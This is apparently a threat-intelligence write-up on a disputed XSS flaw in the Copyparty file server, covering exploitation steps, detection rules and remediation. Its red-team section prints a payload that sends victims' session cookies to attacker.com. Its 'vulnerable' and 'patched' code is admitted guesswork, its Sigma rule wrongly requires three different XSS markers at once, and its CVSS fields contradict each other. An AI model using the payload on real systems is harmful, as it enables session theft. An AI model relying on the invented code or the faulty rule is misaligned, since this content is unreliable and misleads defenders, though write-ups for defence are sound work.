CVE-2023-41471

Executive Summary

CVE-2023-41471 describes a Cross-Site Scripting (XSS) vulnerability in the Copyparty file-sharing server, versions prior to 1.9.2. The vulnerability is reported to exist within the WEEKEND-PLANS function, allowing a local attacker to execute arbitrary code via a crafted payload. However, this finding is disputed because the WEEKEND-PLANS function is only accessible to users who already have write access to the server. Such users could more simply upload HTML files containing JavaScript to achieve the same effect. The CVSS score is 0.0, reflecting the disputed nature and low practical impact. No public exploit code or Nuclei templates are available.

Supply Chain & Package Security

Copyparty is a Python-based file-sharing server distributed via PyPI. The vulnerability is not a supply chain attack but a local XSS within the application itself. Users should ensure they are sourcing the package from the official PyPI repository (pip install copyparty) and verify the package integrity using checksums provided by the maintainer.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Disputed)
• Attack Vector: Local (requires write access)
• Attack Complexity: Low
• Privileges Required: Low (write access)
• User Interaction: Required (victim must view the crafted page)
• Scope: Unchanged
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Low. The requirement for write access significantly reduces the attack surface. The vulnerability is disputed, and the practical impact is minimal.

Deep Dive & Mechanics

The vulnerability is reported to exist in the WEEKEND-PLANS function of Copyparty. This function likely allows users with write access to create or modify a "weekend plans" page or note. An attacker with write access could inject malicious JavaScript into this function. When another user (or the attacker themselves) views the affected page, the script executes in the context of the victim's browser.

Key Points:

• Privilege Requirement: The attacker must already have write access to the Copyparty server. This is typically granted to authenticated users or through specific configuration.
• Disputed Nature: The maintainer argues that users with write access can already upload arbitrary HTML files containing JavaScript, making this a redundant attack vector.
• Impact: The XSS could be used to steal session cookies, redirect users to malicious sites, or perform actions on behalf of the victim. However, the attacker already has write access, so the additional value is limited.

Vulnerable vs. Patched Code

Vulnerable Code (before 1.9.2): The WEEKEND-PLANS function likely did not sanitize user input before rendering it in the HTML output. For example:

def weekend_plans(request):
    plans = request.POST.get('plans', '')
    # No sanitization
    return render_template('weekend.html', plans=plans)

Patched Code (1.9.2 and later): The patched version sanitizes the input using a library like bleach or html.escape:

import html

def weekend_plans(request):
    plans = request.POST.get('plans', '')
    sanitized_plans = html.escape(plans)
    return render_template('weekend.html', plans=sanitized_plans)

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a Copyparty server (version < 1.9.2) with write permissions.
• A victim user who will view the crafted page.

Exploitation Steps:

1. Log in to the Copyparty server with write access.
2. Navigate to the WEEKEND-PLANS function (likely accessible via a specific URL or menu).
3. Inject a malicious payload into the plans field, such as:

   <script>alert('XSS')</script>
   

4. Save the plans.
5. Send the link to the victim (e.g., http://target:port/weekend-plans).
6. When the victim views the page, the script executes.

Example Payload:

<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>

Blue Team

Detection:

• Monitor logs for unusual input in the WEEKEND-PLANS function.
• Look for <script> tags or other HTML/JavaScript patterns in POST requests to the plans endpoint.
• Use a Web Application Firewall (WAF) to block common XSS payloads.

Prevention:

• Upgrade to Copyparty version 1.9.2 or later.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Sanitize all user input before rendering.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /weekend-plans or similar endpoints containing <script> tags.
  • Outbound connections to attacker-controlled domains from the Copyparty server.
• File System:
  • Modified configuration files or templates related to WEEKEND-PLANS.
• Logs:
  • Entries showing unusual characters or HTML tags in the plans field.

Detection Engineering

YARA Rule

rule CVE_2023_41471_XSS_Copyparty {
    meta:
        description = "Detects XSS payloads targeting Copyparty WEEKEND-PLANS function"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-41471"
    strings:
        $xss1 = "<script" nocase
        $xss2 = "onerror=" nocase
        $xss3 = "onload=" nocase
        $xss4 = "javascript:" nocase
    condition:
        any of them
}

Sigma Rule

title: XSS Attempt on Copyparty WEEKEND-PLANS
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential XSS payloads in Copyparty WEEKEND-PLANS requests
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: copyparty
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'weekend-plans'
        cs-uri-query|contains|all:
            - '<script'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of HTML in plans (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-41471 XSS Attempt on Copyparty WEEKEND-PLANS"; flow:to_server; content:"POST"; http_method; content:"/weekend-plans"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

1. Upgrade: Immediately upgrade to Copyparty version 1.9.2 or later.
2. Input Validation: Implement strict input validation and sanitization for all user inputs, especially those rendered in HTML.
3. Content Security Policy: Deploy CSP headers to restrict script execution.
4. Access Control: Review and restrict write access to the Copyparty server.
5. Monitoring: Enable logging and monitor for suspicious activity.

Valters IT
DevSecOps & Cyber Threat Intelligence